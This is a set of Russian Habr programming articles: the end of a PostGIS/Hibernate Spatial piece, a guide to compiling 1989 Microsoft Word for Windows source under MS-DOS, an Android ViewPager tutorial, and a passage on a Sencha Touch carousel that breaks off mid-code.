SRID — номер системы координат. Их существует очень много. Основные различия: формат координат (метры, градусы...), точка отсчета и форма Земли (Земля не круглая). PostGis знает много систем координат и умеет их преобразовывать.
Как я уже сказал, в базе у нас тип geometry. Я же сразу использовал конкретный класс Point для удобства, ведь в этой таблице у меня только точечные объекты. Но PostGIS теоретические может хранить несколько типов геометрии сразу. Просто в каждой геометрии указан ее тип:
```
"geometry":{"type":"MultiPolygon","coordinates":...
```
Если верить StackOverflow, использование нескольких геометрий в одной таблице замедляет запросы. Геометрии могут быть и вложенными. Типы:
### Запросы к БД
С реализацией класса разобрались. теперь пора получить их из базы. Наши точки — дома, точнее их адреса. Вы можете делать привычные SQL запросы: получать домики по id, номеру, количеству бабушек…
Нас же сейчас интересуют пространственные запросы. Например, найти дом по координатам. Пусть искомые координаты x,y, а +-delta — желаемая область поиска. Основные запросы в STS выполняются на соотношение геометрий. Поэтому нам нужно ее создать:
```
Coordinate c1 = new Coordinate(x - delta, y - delta);
...
Coordinate[] coordinates = new Coordinate[]{c1, c2, c3, c4, c1};
GeometryFactory GEOMETRY_FACTORY = new GeometryFactory();//static заранее
Polygon square_window = GEOMETRY_FACTORY.createPolygon(coordinates);
square_window.setSRID(32635);
```
Если мы не укажем систему координат, PostGis откажется их сравнивать. Вы или знаете код вашей системы, или получите его из любой точки кодом `.getGeom().getSRID()`.
Дальше посылаем запрос вида:
```
"select a "
+ "from AdressBuilding a "
+ "where within(a.geom, :window) = true"
```
Запрос within означает проверку, находится ли геометрия внутри другой. Не пугайтесь, если ваша IDE скажет, что в JPA не может быть таких запросов. Hibernate Spatial преобразует его в:
```
where
st_within(adressbuil0_.geom, ?)=true
```
Где `st_within` — уже функция PostGis.
Есть еще несколько вариантов, как получить тот же результат — точка попала в квадрат. `contains(:window, a.geom) / intersects(a.geom, :window)...`
Детальное описание спецификаций [здесь](https://portal.opengeospatial.org/files/?artifact_id=829).
### Послесловие
Точки мы получили — делайте теперь с ними что пожелаете.
Я тестировал случай небольшой базы на сервере с относительно большим объемом оперативы. Если грузить по максимуму и забыть про индексы, задача поиска упрется в процессор.
В Postgres есть много разных индексов. [И часть из них помогают Постгису](https://postgis.net/docs/manual-2.5/using_postgis_dbmanagement.html#idm2246). Исследование показало, что для **точек** подходит только GIST(?)
```
CREATE INDEX [indexname] ON [tablename] USING GIST ( [geometryfield] );
```
Но чаще всего, когда вы импортируете данные в PostGis, индексы создаются автоматом…
Уточнения и дополнительная информация приветствуется.
Использованный мануал:
[Для Hibernate 5](http://docs.jboss.org/hibernate/orm/5.4/userguide/html_single/Hibernate_User_Guide.html#spatial/)
[Для Hibernate 4](http://www.hibernatespatial.org/) | https://habr.com/ru/post/440872/ | null | ru | null |
# Компилируем Microsoft Word 1989 года
Собираем Opus
=============
Opus — это кодовое имя, которое разработчики компании Microsoft дали пакету Microsoft Word for Windows v1.1a. Давайте скомпилируем его из исходного кода и посмотрим, удастся ли его запустить!
1. Введение
-----------
В этой статье задокументирован процесс получения [исходного кода](https://computerhistory.org/blog/microsoft-word-for-windows-1-1a-source-code/) и его превращения в работающее приложение для Windows. Компилятор и инструменты разработки запускаются в операционной системе MS-DOS, потому что в 1989 году ещё не существовало инструментов разработки, работающих в Windows.
Примечание: в этой статье я буду часто упоминать DOS. Под этим обозначением подразумевается Microsoft MS-DOS, хотя большая часть информации также применима к IBM PC-DOS и большинству других разновидностей DOS.
Если вы новичок в пользовании операционной системой DOS, то рекомендую повторять мои действия в копии Microsoft MS-DOS v6.22, версии DOS от июня 1994 года (последней выпущенной версии), содержащей все необходимые нам инструменты (об единственном исключении я расскажу ниже).
2. История вопроса
------------------
Разработка текстового процессора под названием Microsoft Word for DOS была начата Ричардом Броди и другими авторами в 1982 году. Ричарда наняли из Xerox Parc, поскольку он был знаком с футуристичным на то время текстовым процессором Bravo.
Впервые Word for DOS был выпущен в 1983 году и поставлялся в комплекте с одной из ранних версий MS-DOS. В нём использовалась графика (примитивная) и поддерживалась работа с мышью, но сама программа получила противоречивые отзывы.
Word v2.0 for DOS был выпущен в 1985 году, он поддерживал EGA-графику и имел функцию проверки правописания.
Word v3.0 for DOS выпустили в 1986 году, приложение поддерживало графику Hercules и расширенный набор принтеров.
Word v4.0 for DOS был выпущен в 1987 году, он поддерживал VGA-графику и имел как текстовый, так и графический режимы.
Word v5.0 for DOS и OS/2 стал 16-битным приложением.
В выпущенном в 1989 году обновлении до Word v5.5 появились окна и меню в стиле Windows/Mac, он стал предшественником Word for Windows, который был выпущен в том же году.
Разработка первого текстового WYSIWYG\*-процессора для Microsoft Windows была завершена примерно в 1988-1989 гг, эта версия теперь выложена на сайт Музея компьютерной истории (Computer History Museum, CHM).
\*[WYSIWYG](https://ru.wikipedia.org/wiki/WYSIWYG) = What You See Is What You Get
Подробнее прочитать об истории и скачать исходный код из Музея компьютерной истории можно здесь:
<https://computerhistory.org/blog/microsoft-word-for-windows-1-1a-source-code/>
3. Могу ли я скомпилировать этот код?
-------------------------------------
Да! Но как? Можно воспользоваться винтажным PC или относительно современным компьютером, который может загружаться в legacy-режиме BIOS, или же сконфигурировать гипервизор для запуска виртуального PC. Все необходимые инструменты находятся в дампе исходного кода по ссылке выше. Все они работают в DOS, поэтому давайте разберёмся, как всё это должно работать.
Для демонстрации я буду использовать VMware Fusion на Mac, но вы можете воспользоваться любым подходящим старым оборудованием или гипервизором, которые способны запускать MS-DOS. После установки DOS необходимо проверить, сколько есть свободной памяти. Для этого
необходимо в общих чертах понимать, как DOS «видит» оборудование. Так как компилятору, похоже, требуется расширенная память (expanded memory), я расскажу, как обеспечивается доступ к этому типу памяти и как сконфигурировать DOS, чтобы эта память была доступна компилятору.
Кроме того, набор файлов довольно объёмен (для DOS-приложения), поэтому рекомендую упростить себе жизнь, создав образ CD-ROM с исходными файлами, чтобы их можно было разом скопировать на DOS-машину. Однако чтобы CD-ROM работал в DOS, также требуются драйверы устройства, поэтому ниже я расскажу и об этом.
Исходный код интересен тем, что проприетарный компилятор требует компьютер с процессором не ниже 386 и 4 МБ ОЗУ. Это превосходит характеристики многих PC того времени и определённо считалось бы «high end», ведь тогда большинство компьютеров имело максимум 1 МБ ОЗУ и всего 640 КБ из них были доступны для типичных DOS-приложений. Из этого объёма приличный объём занимает сама DOS, а приложения используют то, что осталось. Итак, сколько же памяти есть у нашей машины? Как добавить ей ещё памяти? Подробнее об этом ниже.
4. История процессоров Intel
----------------------------
Причина, по которой DOS требует управления памятью, тесно связана с историей процессора, на которой эта ОС должна была работать. Так как многие из ранних программ создавались на ассемблере, операционная система DOS была очень тесно интегрирована с процессором, на котором она работала. В результате она унаследовала ограничения этих процессоров, а они накладывали странные требования, ведь каждое новое поколение процессоров должно было поддерживать кодовую базу всех предшествующих.
В 1979 году 8-битные процессоры Intel 8086/8088 могли адресовать 1024 КБ, или 1 МБ ОЗУ (8-битная шина данных, 16-битные регистры памяти).
В 1982 году 16-битный процессор Intel 80286 мог адресовать до 16 МБ ОЗУ (16-битная шина данных, 24-битное адресное пространство\*).
В 1985 году 32-битный Intel 80386 (и более поздний 486) мог (теоретически) адресовать до 4096 МБ, или 4 ГБ ОЗУ\*\*
Современные 64-битные процессоры имеют 40-битные, 52-битные и 64-битные архитектуры адресуемой памяти, поэтому могут поддерживать от 1 ТБ до 4 ПБ ОЗУ!
Примечание\*: 24-битное адресное пространство эквивалентно 2 в степени 24 × 1 байт = 16 777 216 байт, или 16 МБ.
Примечание\*\*: 32-битное адресное пространство — это 2 в степени 32 x 1 байт = 4 294 967 296 байт, или 4 ГБ, но в PC с процессорами 386 из-за ограничений материнских плат и огромной стоимости ОЗУ в то время обычно устанавливали гораздо меньше 1 ГБ.
История DOS и Windows переполнена проблемами, созданными обратной совместимостью и ограничениями управления памятью, на которые влияла архитектура первых процессоров Intel.
5. Типы памяти DOS
------------------
Существует пять областей памяти, адресуемых операционной системой DOS. Каждая из них адресуется при помощи одного или двух драйверов устройств, вызываемых в CONFIG.SYS во время загрузки. HIMEM.SYS обеспечивает доступ к Extended Memory, а EMM386.EXE — к Expanded Memory. Вот краткое описание этих типов памяти.
**Conventional Memory** (основная память): память от 0 до 640 КБ (или 651 264 байт), также называемая Lower Memory Area (LMA)
**Upper Memory Area** (верхняя память): UMA — это память от 640 КБ до 1024 КБ (1 МБ), также называемая Upper Memory Blocks (UMB)
**Extended Memory Specification** (дополнительная память): XMS — это адреса памяти от 1 МБ до 64 МБ, но эта спецификация также описывает UMA, потому что DOS не имеет доступа к UMA без поддержки от HIMEM.SYS
**Expanded Memory Specification** (расширенная память): EMS использует кадр страницы в 64 КБ, определённый в Upper Memory, для предоставления доступа к памяти выше 1 МБ. DOS может использовать одновременно XMS и EMS, когда задан параметр AUTO, или отключить её, если EMM386.EXE загружается с параметром NOEMS. EMM386 и другие менеджеры памяти эмулируют expanded memory в области extended memory — всё совершенно понятно и ни капли не запутанно!
**High Memory Area**: HMA — это 64 КБ, расположенные сразу выше 1 МБ, в которые DOS может загружать себя во время загрузки при помощи параметра DOS=HIGH файла CONFIG.SYS.
В основной памяти (Conventional memory) располагаются олдскульные DOS-приложения. Они могут использовать память только из 0-640 КБ, и поскольку часть этого объёма занимает сама DOS, во время исполнения они могут иметь доступ к менее чем 500 КБ ОЗУ. Часто это ограничивает приложения, запускаемые в так называемом «real mode», иными словами, 16-битные приложения, ограниченные основной памятью (conventional memory). Real mode (реальный режим) называется так, потому что в приложении адресуемой памяти сопоставляются реальные адреса памяти.
Это было вполне нормальным только в течение нескольких лет, а позже 640 КБ превратились в ограничивающий фактор для более сложных приложений, то есть игр! Больше памяти требовалось и для новых Windows-приложений, поэтому появилась Extended Memory Specification (XMS). Память выше 1 МБ стала адресуемой 16-битными программами. Эта спецификация появилась в процессорах 286, которые реализовали protected mode (защищённый режим) для получения доступа к памяти выше этих ограничений DOS, но также поддерживали доступ к основной памяти в real mode, при необходимости переключаясь между режимами.
6. Установка DOS
----------------
Мы можем использовать настоящие гибкие диски и USB-привод гибких дисков, создать образы гибких дисков из физических гибких дисков или скачать образы гибких дисков с сайтов наподобие WinWorld.
Физическая или виртуальная машина должна иметь не менее 4 МБ и не более 32 МБ ОЗУ, а также жёсткий диск объёмом не более 512 МБ с единственным разделом FAT16. Если жёсткий диск физически больше 512 МБ, ограничьте первый раздел максимальным размером, который может адресовать ваша версия DOS. Ради совместимости ограничьте этот первый раздел 512 МБ или меньшим объёмом.
Если машина имеет описанные выше минимальные характеристики, загрузитесь с первой дискеты DOS. В версиях выше 5.0 запустится установщик. Следуйте его инструкциям и пока выберите все значения по умолчанию. В следующей статье мы поэкспериментируем с опциями установки. Если вы не увидели диалога с предложением установки, то на первой дискете часто можно найти файл INSTALL.EXE или настроить всё самостоятельно, разбив жёсткий диск вручную. См. ниже раздел «Делаем жёсткий диск загрузочным».
7. Делаем жёсткий диск загрузочным
----------------------------------
Если на предыдущем этапе вы загрузились с гибкого диска, но у вас ещё нет жёсткого диска с возможностью доступа или копия DOS не содержит установщика, то можно установить её вручную.
Запустите с гибкого диска FDISK и просмотрите существующую структуру разделов, выбрав пункт 4 и нажав Enter.
Если раздел существует, то дам должно быть написано, что в файловой системе FAT16 есть до 511 МБ, а в столбце состояния должно быть указано, что раздел активен (символ «A» в столбце Status).
Если это не так, то создадим раздел; вернитесь в основное меню, нажав Escape.
Выберите пункт 1 и нажмите Enter. Введите 1 и снова нажмите Enter для создания нового основного раздела (Primary Partition). Программа пожалуется, что там уже есть существующий раздел. Если вы достаточно смелы, то можете удалить его и создать новый, или просто использовать уже имеющийся.
После этого вернитесь в основное меню, выберите пункт 2 и сделайте новый раздел активным, а затем выйдите из FDISK. В командной строке DOS нам нужно отформатировать диск, чтобы сделать этот новый раздел читаемым, а также перенесли систему загрузки DOS на диск при помощи ключа "/s" команды `format` command. Ключ "/v" запросит имя нового тома.
```
format c: /s /v
```
Следуйте подсказкам и дайте тому допустимое имя из 11 символов. При этому создастся загрузочный диск, но перед перезагрузкой создайте папку DOS
```
md C:\DOS
```
… а затем скопируйте все файлы с гибкого диска в C:\DOS…
```
copy A:. C:\DOS\.
```
Перед перезапуском создайте стандартные CONFIG.SYS и AUTOEXEC.BAT. Нет редактора файлов? Не проблема, введите следующие команды, чтобы скопировать текст из консоли в файл под названием config.sys:
```
C:
CD\
copy con CONFIG.SYS
files=30
buffers=10
```
Затем нажмите Ctrl-Z, чтобы выйти и сохранить выводимые данные. Данные команды скопируют содержимое консоли (CON) на диск. Теперь у нас есть файл CONFIG.SYS, находящийся в корневом каталоге диска C:.
Проделаем то же самое для создания файла AUTOEXEC.BAT:
```
copy con AUTOEXEC.BAT
@echo off
prompt $p$g
ver
```
И нажмите Ctrl-Z. Отлично, теперь можно перезагрузиться.
8. Конфигурируем DOS
--------------------
Обычно MS-DOS конфигурируется при помощи двух файлов, считываемых DOS во время загрузки (если не считать самого COMMAND.COM). Это следующие файлы (в порядке, в котором к ним выполняется доступ):
**CONFIG.SYS** содержит список драйверов устройств и опций конфигурации, загружаемых во время загрузки; он находится в корневом каталоге загрузочного диска.
**AUTOEXEC.BAT** запускается после загрузки машины и после загрузки драйверов устройств в CONFIG.SYS. Оба этих файла конфигурации должны находиться в корневом каталоге загрузочного диска; A: в случае, когда система загружается с гибкого диска, или C: для систем с жёстким диском.
DOS вполне может нормально загружаться без этих файлов, но большинство приложений добавляет в них опции конфигурации, чтобы они могли работать или чтобы оптимизировать их выполнение. Последние версии DOS также пытаются конфигурировать себя самостоятельно, внося изменения в эти файлы в процессе установки.
Запуска HIMEM.SYS во время загрузки недостаточно, нам нужно сконфигурировать EMM386.EXE или сторонний менеджер расширенной памяти (Expanded Memory Manager). Подробнее мы расскажем об этом позже. История архитектур процессоров Intel связана с управлением памятью, поэтому нам нужно в этом разобраться.
Чтобы сконфигурировать доступ к дополнительной памяти (extended memory), мы отредактируем C:\CONFIG.SYS при помощи редактора DOS:
```
\DOS\EDIT \CONFIG.SYS
```
Если файл не найден, то просто сохраните новый файл под именем C:\CONFIG.SYS. Добавьте
в первую строку следующий текст:
```
DEVICE=C:\DOS\HIMEM.SYS
```
В CONFIG.SYS уже могут быть и другие записи, но добавьте это именно в первую строку. Закончив, нажмите Alt-F, чтобы перейти в меню File, и нажмите S, чтобы сохранить, а затем снова нажмите Alt-F и X, чтобы выйти. Перезагрузитесь, вы должны увидеть тест памяти, а затем командную строку DOS: «C>».
Введите в командную строку команду MEM, чтобы увидеть, сколько памяти теперь доступно DOS-приложениям:
Как видите, у DOS есть для приложений всего 571 КБ основной памяти (conventional memory), однако почти 30 МБ дополнительной памяти (Extended Memory, XMS) и нет расширенной памяти (Expanded Memory, EMS).
Причина в том, что я выделил этой виртуальной машине 32 МБ ОЗУ, и на вашем оборудовании/ВМ ситуация может быть другой.
Похоже, для запуска компилятора нам нужен доступ к Expanded Memory (EMS), но как его реализовать? Именно здесь нам пригодится EMM386.EXE; этот драйвер памяти поставляется с поздними версиями DOS для поддержки Microsoft Windows и других DOS-приложений, требующих большого объёма памяти, в том числе и некоторых игр под DOS.
9. Управление памятью в DOS
---------------------------
Если мы загружаем драйвер управления памятью через CONFIG.SYS, то можем посмотреть, сколько ОЗУ он выделяет. В начале файла config.sys есть две следующих строки. Там могут быть и другие записи, но эти первые две строки должны находиться в начале файла и быть именно в таком порядке.
```
DEVICE=C:\DOS\HIMEM.SYS
DEVICE=C:\DOS\EMM386.EXE
DOS=HIGH
FILES=30
```
Перезагрузитесь и снова запустите MEM.
Сравнив этот скриншот с предыдущим, мы видим, что обнаружена такая же основная память, но максимальный размер программы, которую мы можем запустить, составляет теперь 612 КБ (больше 571 КБ), потому что мы загрузили DOS в верхнюю память (upper memory) командой DOS=HIGH. Также мы эмулировали Expanded Memory (EMS) в диапазоне Extended Memory (XMS).
Если запустить DOS-команду MSD, то получим следующую схему распределения памяти:
На ней показана смежная область памяти, занятая расширенной памятью (Expanded Memory). Каждый из символов P обозначает 1 килобайт, поэтому каждая строка обозначает 16 КБ пространства, которое можно распределить. Границы, не равные 16 КБ, не нужно распределять, потому что они не являются смежными.
Для компиляции Word мне было достаточно основной памяти (conventional memory) и EMS, однако у вас показатели свободной памяти могут быть другими, это зависит от используемой версии DOS и её конфигурации.
Если вам нужно больше основной и/или расширенной памяти, то попробуйте использовать сторонние менеджеры расширенной памяти наподобие QEMM, JEMM или UMBPCI, которые используют меньше основной памяти, в то же время обеспечивая совместимую расширенную память.
Завершаем конфигурацию
----------------------
Некоторым приложениям требуется временное пространство для хранения файлов, дампа памяти и т.п., поэтому давайте создадим командой MD (make directory) папку для временных файлов, а затем при помощи команды SET укажем на неё переменной окружения TEMP.
```
MD C:\TEMP
```
Затем сделаем так, чтобы она задавалась во время загрузки, добавив её в autoexec.bat. Введите:
```
\DOS\EDIT \AUTOEXEC.BAT
```
И добавьте в конец файла следующее:
```
SET TEMP=C:\TEMP
```
Нажмите Alt-F, S для сохранения и Alt-F, X для выхода из редактора.
10. Компилируем OPUS
--------------------
OPUS — это кодовое имя Microsoft Word for Windows v1.1a. Предоставленный исходный код содержит код на C и ассемблере, проприетарный компилятор, компоновщик, проприетарные инструменты патчинга, примечания разработчиков и документацию. В этих файлах есть всё необходимое для создания 16-битного исполняемого файла, который без модификации сможет запускаться в Windows v2.x, Windows v3.x и OS/2 v2.x.
Для компилирования этого программного обеспечения нам понадобится не менее 612 КБ основной памяти, а также не менее 4 МБ Expanded Memory, поэтому вам может потребоваться изучение DOS Configuration Guide для конфигурирования DOS под эти условия.
Я создал guest в VMware Fusion с MS-DOS v6.22 в качестве гостевой операционной системы, а также сконфигурировал DOS VDM под Windows XP; всё это заработало в обоих окружениях.
### Этап 1: скачивание
Исходный код доступен на сайте Музея компьютерной истории:
<https://computerhistory.org/blog/microsoft-word-for-windows-1-1a-source-code/>
Он позволит вам скомпилировать Microsoft Word v1.1a, но у компоновщика часто происходят сбои, если только не запускать отдельно op1.bat из папки сборки. Я пока не разобрался, почему это происходит под DOS… однако под Windows XP мы можем эмулировать не только командную строку DOS, но также расширенную и дополнительную память, и всё работает! Но как это сделать?
### Этап 2: распаковка файлов zip
Хост-машина может работать под Windows, Linux или MacOS. Я использовал Mac, но это неважно. Распакуйте файлы zip и создайте файл образа CD-ROM ISO, содержащий все файлы.
См. [руководство](https://richardlewis.org/blog/2020/8/4/create-iso-file-macos) по созданию ISO.
### Этап 3: копирование файлов
Переносим исходный код, компилятор, компоновщик и документацию на DOS-машину/ВМ через CD-ROM.
Компилятор должен запускаться с загрузочного диска, так что поместим всё это в C:\SRC. Так как объём данных значительно больше, чем один или два гибких диска, я создал образ CD-ROM, который смонтировал в ВМ. Если у вас есть физическое оборудование, то вы можете сделать то же самое или изучить DOS Configuration Guide, чтобы узнать, как получить доступ к CD-ROM из DOS или через физический диск, или через файл образа ISO.
### Этап 4: создание папки BUILD
Примечание: часть этих шагов взята из комметариев на форумах Beta Archive (<https://www.betaarchive.com/forum/>).
Создадим новую папку BUILD для каждой сборки и изменим fast.ini, чтобы он указывал на эту новую сборку.
```
MD \SRC\OPUS\BUILD1
```
### Этап 5: изменения в конфигурации компилятора
Прежде чем приложение скомпилируется, нужно изменить два файла, чтобы они соответствовали вашему окружению. БОльшую часть этих параметров я взял из поста на форуме [betaarchive](https://www.betaarchive.com/forum/viewtopic.php?t=31096). Перейдите в папку инструментов:
```
CD \SRC\OPUS\TOOLS
```
Создайте резервную копию fast.ini
```
COPY FAST.INI FASTOLD.INI
```
Откройте FAST.INI следующим образом:
```
\DOS\EDIT \SRC\OPUS\TOOLS\FAST.INI
```
Затем измените содержимое, чтобы оно выглядело так:
```
OPFL=+ls
NAM=WINWORD
EXE_DIR=C:\SRC\OPUS\PROGRAM
BUILD=C:\SRC\OPUS\BUILD1
OPUS=C:\SRC\OPUS
WORDTECH=C:\SRC\OPUS\WORDTECH
USER=Richard Lewis or Your Name
MMEM=
NOAPPLOADER=
```
Сохраните файл с помощью Alt-F, S и выйдите с помощью Alt-F, X.
Откройте mo1.bat, чтобы он указывал на вашу структуру папок, а не на сетевые диски, которые были указаны в исходном коде:
```
\DOS\EDIT \SRC\OPUS\TOOLS\MO1.BAT
```
И измените следующие строки, чтобы они соответствовали путям к файлам:
```
set PATH=C:\SRC\OPUS\TOOLS\tools\dos;C:\SRC\OPUS\TOOLS\tools
set LIB=C:\SRC\OPUS\TOOLS\lib
set INCLUDE=C:\SRC\OPUS\TOOLS;=C:\SRC\OPUS\TOOLS\wordtech;=C:\SRC\OPUS\TOOLS\lib;=C:\SRC\OPUS\TOOLS\asm
```
Измените все остальные пути, чтобы они соответствовали вашему пути, они могут иметь имена дисков, отличающиеся от C:; поэтому измените их, чтобы они начинались с =C:\SRC\OPUS\
### Этап 6: компиляция!
Измените папку инструментов, если ещё этого не сделали:
```
CD \SRC\OPUS\TOOLS
```
Скомпилируйте BUILD1 с помощью изменённого файла конфигурации INI:
```
MAKEOPUS @FAST.INI
```
Нет ошибок!? Объектные файлы будут помещены в C:\SRC\OPUS\BUILD1 и при удачной компоновке файлы EXE будут находиться в C:\SRC\OPUS\PROGRAM.
Если вы выполняли компиляцию при помощи DOS, то всё должно выглядеть так:
*CSL Compiler — успешная компиляция кода и патчинг*
Если вы использовали XP (инструкции по конфигурированию будут в следующем посте), то успешное завершение будет выглядеть так:
Если возникают ошибки памяти, то, возможно, не хватает основной или расширенной памяти, вы пропустили этап присвоения TEMP= в AUTOEXEC.BAT, или этап присвоения FILES= в CONFIG.SYS, или в FAST2.INI присутствуют синтаксические ошибки. Проверьте ещё раз эти параметры.
Если вам не удаётся устранить ошибки памяти, то есть два решения.
1. Попробовать запустить mo1.bat из папки BUILD. Если это сработает, то проблема может заключаться в достаточной основной памяти, но недостаточной непрерывной расширенной памяти.
2. Попробуйте выполнить тот же процесс сборки в DOS VDM под Windows XP — похоже, для каждого типа памяти ОЗУ выделяется правильно, однако получаемый EXE невозможно запустить под Windows XP; он запустится на машине с Windows v2 или v3. См. Windows XP configuration Guide.
Примечание: после выполнения компиляции файл mo1.bat сбросит переменную окружения PATH и в неё больше не будет входить папка DOS. Это означает, что некоторые команды DOS больше не смогут работать, если вы не будете указывать полный путь к папке DOS для каждой команды. Или добавьте C:\DOS в переменную PATH в файле mo1.bat, или просто перезагрузитесь для восстановления предыдущих параметров.
11. Запускаем Opus
------------------
Если вкратце, то просто скопируйте все файлы из C:\SRC\OPUS\PROGRAM на машину с Windows v2.x или v3.x, а затем запустите WINWORD.EXE. Вот и всё!
В дальнейшем я соберу набор дискет, который будет выполнять правильную установку на основе этого кода, но пока для тестирования этого достаточно.
Под Windows 2.x программа должна выглядеть так
…и тот же код, запущенный в Windows 3.x:
#### На правах рекламы
Наша компания предлагает [серверы с предустановленным Windows](https://vdsina.ru/cloud-servers?partner=habr101). Не экономим на железе — только [брендовое оборудование](https://habr.com/ru/company/vdsina/blog/514570/) и одни из лучших дата-центров в России и ЕС. Поспешите проверить.
[](https://vdsina.ru/cloud-servers?partner=habr101) | https://habr.com/ru/post/519286/ | null | ru | null |
# Слайдинг экранов с помощью ViewPager
##### Вступление
Горизонтальная прокрутка экранов — удобная и модная вещь. На Хабре уже был [топик](http://habrahabr.ru/blogs/android_development/118482/), посвященный данной теме. Однако использование ViewFlipper не позволяет с легкостью добиться эффекта привязки, когда экраны двигаются вместе с пальцем. Также нужен механизм автоматической доводки экранов в ту или иную сторону. Примера, где это было бы хорошо разъяснено и реализовано, так и не нашел. В комментариях [предлагали](http://habrahabr.ru/blogs/android_development/118482/#comment_3863174) посмотреть исходники гугловского кода, где это реализовано. Однако удобнее было бы воспользоваться готовым решением. Такой механизм реализован в Android [Support Package](http://developer.android.com/sdk/compatibility-library.html). Использовать эту библиотеку можно для версий Android 1.6 и старше. Конкретно нам понадобятся классы ViewPager и PagerAdapter.
##### Предварительная настройка
Чтобы подключить библиотеку к проекту, выполняем следующие действия.
Идем в директорию, куда установлен Android SDK, запускаем SDK Manager и в списке доступных к установке компонентов выбираем Android Support package. Устанавливаем его. Все что нужно будет находиться в следующей директории: <директория с sdk>/extras/android/support/. В папке v4 будет лежать .jar файл, который и нужно подключить к проекту. Если вы работаете в Eclipse, то в Package Explorer щелкаем правым кликом по проекту, выбираем Build Path -> Add External Archives. В появившемся диалоговом окне переходим к скачанному .jar файлу, выбираем его и щелкаем OK. Всё, библиотека подключена к проекту и готова к использованию.
Хочется заметить, что могут возникнуть проблемы, если вы используете старую версию SDK Manager. У меня указанный Support Package не появлялся в списке доступных загрузок. После обновления SDK проблема решилась.
##### Разработка
Выполнив инструкции, приведенные по указанной выше ссылке, и установив библиотеку, можно приступать к реализации поставленной задачи.
ViewPager по принципу работы похож на ListView. Данные для отображения он берет из PagerAdapter. Нам потребуется унаследовать свой класс от PagerAdapter и реализовать в нем некоторые методы. Добавление и удаление экранов реализуется с помощью методов instantiateItem() и destroyItem() соответственно. View для отображения можно создавать прямо в адаптере. Такой подход хорош тем, что ViewPager можно настраивать так, чтобы в адаптере не хранились все экраны сразу. По умолчанию адаптер хранит текущий экран, и по одному слева и справа от него. Это может сэкономить память, если содержание экранов слишком сложное. Однако в данном примере создадим все экраны в activity приложения, добавим их в список, и передадим затем этот список адаптеру. Адаптер же не будет сам создавать view, а будет брать их их списка.
Код адаптера получился следующим.
```
public class SamplePagerAdapter extends PagerAdapter{
List pages = null;
public SamplePagerAdapter(List pages){
this.pages = pages;
}
@Override
public Object instantiateItem(View collection, int position){
View v = pages.get(position);
((ViewPager) collection).addView(v, 0);
return v;
}
@Override
public void destroyItem(View collection, int position, Object view){
((ViewPager) collection).removeView((View) view);
}
@Override
public int getCount(){
return pages.size();
}
@Override
public boolean isViewFromObject(View view, Object object){
return view.equals(object);
}
@Override
public void finishUpdate(View arg0){
}
@Override
public void restoreState(Parcelable arg0, ClassLoader arg1){
}
@Override
public Parcelable saveState(){
return null;
}
@Override
public void startUpdate(View arg0){
}
}
```
В адаптере нам потребовалось определить свою реализацию для методов instantiateItem(), destroyItem(), getCount() и isViewFromObject(). Для остальных методов тела можно оставить пустыми.
Создадим файл разметки page.xml и опишем в нем содержимое экрана следующим образом:
```
xml version="1.0" encoding="utf-8"?
```
В activity приложения, как было указано выше, создадим несколько View, которые и будут нашими экранами, добавим их в список и передадим список адаптеру. Затем создадим ViewPager и установим для него полученный адаптер.
Код activity:
```
public class ViewPagerSampleActivity extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
LayoutInflater inflater = LayoutInflater.from(this);
List pages = new ArrayList();
View page = inflater.inflate(R.layout.page, null);
TextView textView = (TextView) page.findViewById(R.id.text\_view);
textView.setText("Страница 1");
pages.add(page);
page = inflater.inflate(R.layout.page, null);
textView = (TextView) page.findViewById(R.id.text\_view);
textView.setText("Страница 2");
pages.add(page);
page = inflater.inflate(R.layout.page, null);
textView = (TextView) page.findViewById(R.id.text\_view);
textView.setText("Страница 3");
pages.add(page);
SamplePagerAdapter pagerAdapter = new SamplePagerAdapter(pages);
ViewPager viewPager = new ViewPager(this);
viewPager.setAdapter(pagerAdapter);
viewPager.setCurrentItem(1);
setContentView(viewPager);
}
}
```
Как видно из кода, мы создали три экрана. Для каждого из них мы указали какой он по счету. Установив адаптер для ViewPager, укажем что сейчас будет показываться экран с индексом 1, т.е. на котором написано «Страница 2».
Скриншот приложения, во время прокручивания экрана:
##### Заключение
Как видно из примера, использовать ViewPager и PagerAdapter достаточно легко. При слайдинге экранов, изображения привязывается к положению пальца. Работает автоматическая доводка в какую либо из сторон. Нажатия на дочерние элементы (различные кнопки, элементы списка, если таковой присутствует) обрабатываются корректно.
И в заключение, ссылка на [статью](http://android-developers.blogspot.com/2011/08/horizontal-view-swiping-with-viewpager.html), в которой рассказывается о ViewPager. | https://habr.com/ru/post/131889/ | null | ru | null |
# ShopStyle
*По неясным причинам запись исчезла из официального блога через несколько часов после публикации, а так же убран контент с демо сайта. Позже запись в блоге появилась вновь, но с сообщением о том что приложение будет доступно в ближайшее время*
[](http://www.shopstyleapp.com/)Сегодня команда разработчиков Sencha объявляет о выходе нового демонстрационного приложения основанного на их библиотеке: [ShopStyle](http://www.shopstyleapp.com). ShopStyle это классическое приложения для iPhone и iPad которое является частью портала PopSugar. Представленное приложение было разработано на библиотеке Sencha Touch и использует одно из нововведений: Touch Carousel. В частности представлена “бесконечная карусель”, одна из новых возможностей которая является частью Sencha Touch. важнейшая особенность этого компонента — активное управление DOM которое позволяет приложению вписываться в ограничения по памяти существующие на iPad.
Разумеется вы можете изучить исходники на сайте, а в этой статье будут рассмотрены самые любопытные технические моменты в создании данного приложения. Основная проблема заключается в том что в одной категории могут находится тысячи товаров. Загрузка всех этих данных в память браузера разом — гарантированный фейл.
### Создание Карусели
Карусель может обрабатывать тысячи элементов с помощью скользящей области просмотра которая отображает данные. Для текущей страницы создаются три области с контентом: текущая, предыдущая и последующая. В то время пока пользователь листает соответствующие области создаются и уничтожаются что обеспечивает соответствие контента текущему состоянию. Благодаря этому можно гарантировать что любой момент времени в карусели находится достаточно небольшое фиксированное количество элементов, несмотря на то что их реальное число может быть огромным. На схеме ниже скользящая область состоит из трех страниц. Первоначально сфокусирована третья страница и инициализированы страницы со второй по четвертую. Когда пользователь переходит к четвертой странице активная область смещается вправо, а так же удаляется вторая страница и создается пятая.
Инициализация карусели элементарна. Вместо непосредственного использования параметра *items*, определяется *createItem* который принимает функцию. когда будет необходимо инициализировать элемент будет вызвана функция с индексом элемента. Функция создает и возвращает элемент. Для демонсрации этого приведен небольшой кусок кода с обычной и бес конечной каруселью.
> `// Normal carousel
>
> var carousel = new Ext.Carousel({
>
> items: [{
>
> html: '1'
>
> },{
>
> html: '2'
>
> }, {
>
> html: '3'
>
> }]
>
> });
